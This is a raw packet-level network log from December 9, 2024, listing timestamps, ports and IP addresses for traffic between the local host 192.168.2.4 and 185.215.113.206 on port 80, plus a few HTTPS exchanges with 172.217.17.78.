Dec 9, 2024 20:27:33.451952934 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.452905893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.452959061 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.452975988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.453016996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.453939915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.454149961 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.454202890 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.454909086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.454988956 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.455085039 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.455130100 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.455859900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.455910921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.456070900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.456114054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.456974983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.457031965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.457052946 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.457093000 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.457813978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.457912922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.457964897 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.458822966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.458873034 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.459047079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.459099054 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.459788084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.459840059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.459893942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.459945917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.460827112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.460884094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.460958004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.461004972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.461874962 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.461930037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.462115049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.462163925 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.462816000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.462872982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.462959051 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.463010073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.463897943 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.463952065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.463969946 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.464016914 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.464837074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.464895010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.464941978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.464987040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.465795040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.465847015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.465872049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.465918064 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.466784000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.466840029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.466895103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.466938019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.467801094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.467847109 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.467863083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.467891932 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.468852043 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.468907118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.468909025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.468950033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.469854116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.469914913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.470014095 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.470062017 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.470731020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.471939087 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.610968113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.611047029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.611102104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.611396074 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.611445904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.611494064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.611536980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.612296104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.612365961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.612442017 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.612492085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.613231897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.613306999 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.613317966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.613370895 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.614337921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.614376068 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.614418983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.615288973 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.615334034 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.615384102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.615427971 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.616347075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.616398096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.616509914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.616549969 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.617314100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.617383003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.617443085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.618283033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.618328094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.618393898 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.618432999 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.619236946 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.619297028 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.619298935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.619337082 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.620233059 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.620294094 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.620343924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.621265888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.621337891 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.621366978 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.621427059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.622314930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.622437000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.622481108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.623339891 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.623398066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.623430967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.623475075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.624299049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.624356985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.624414921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.624500036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.625307083 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.625466108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.625601053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.625664949 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.626271963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.626318932 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.626384974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.626431942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.627214909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.627276897 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.627382994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.627429962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.628279924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.628334045 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.628360987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.628400087 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.629225969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.629271984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.629379988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.629739046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.630202055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.630251884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.630326986 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.630381107 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.631205082 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.631254911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.631350994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.632186890 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.632241011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.632261038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:33.632574081 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.697536945 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:33.697820902 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:33.697839022 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:33.698880911 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:33.699059963 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:33.700268030 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:33.700329065 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:33.700443983 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:33.700454950 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:33.751660109 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:33.766076088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:33.886373997 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.207484007 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.207879066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.207916975 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.207930088 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.208034039 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.208045959 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.208096981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.208765030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.208812952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.208844900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.208889961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.209769964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.209820032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.209863901 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.209908009 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.210721970 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.210769892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.210892916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.210936069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.211703062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.211749077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.211883068 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.211922884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.212739944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.212753057 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.212801933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.213676929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.213731050 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.213864088 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.213907957 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.214683056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.214726925 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.215056896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.215102911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.215722084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.215765953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.215789080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.215827942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.216707945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.216753960 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.216931105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.216974020 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.217809916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.217823029 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.217861891 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.217886925 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.218684912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.218728065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.219341040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.219389915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.219692945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.219710112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.219742060 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.219763041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.220662117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.220714092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.220984936 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.221035004 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.221676111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.221719980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.221851110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.221895933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.222657919 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.222707987 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.222842932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.222882032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.223656893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.223711967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.224208117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.224262953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.224688053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.224700928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.224733114 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.224756002 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.225699902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.225747108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.226593971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.226634979 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.226811886 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.226824045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.226857901 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.226871967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.227679968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.227718115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.228204966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.228276968 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.228709936 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.228755951 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.228934050 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.228976965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.229672909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.229687929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.229715109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.229733944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.230648041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.230703115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.230819941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.230863094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.231833935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.231875896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.231970072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.232018948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.232728958 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.232779026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.232788086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.232830048 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.233656883 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.233701944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.234446049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.234491110 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.234672070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.234713078 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.234843969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.234908104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.235615969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.235661983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.236696005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.236707926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.236751080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.236815929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.236857891 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.237768888 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.237819910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.237989902 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.238034010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.238635063 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.238729954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.239635944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.239648104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.239676952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.239696026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.239758968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.239801884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.240725994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.240737915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.240781069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.241645098 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.241715908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.241936922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.241981983 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.242635965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.242682934 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.242763996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.242806911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.243649006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.243660927 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.243699074 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.243710995 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.244596004 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.244642019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.244796038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.244842052 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.245642900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.245692015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.245774031 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.245817900 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.246617079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.246664047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.246762991 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.246802092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.247627974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.247638941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.247673988 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.247689009 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.248625994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.248673916 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:34.249620914 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.249660969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:34.249695063 CET	49740	80	192.168.2.4	185.215.113.206
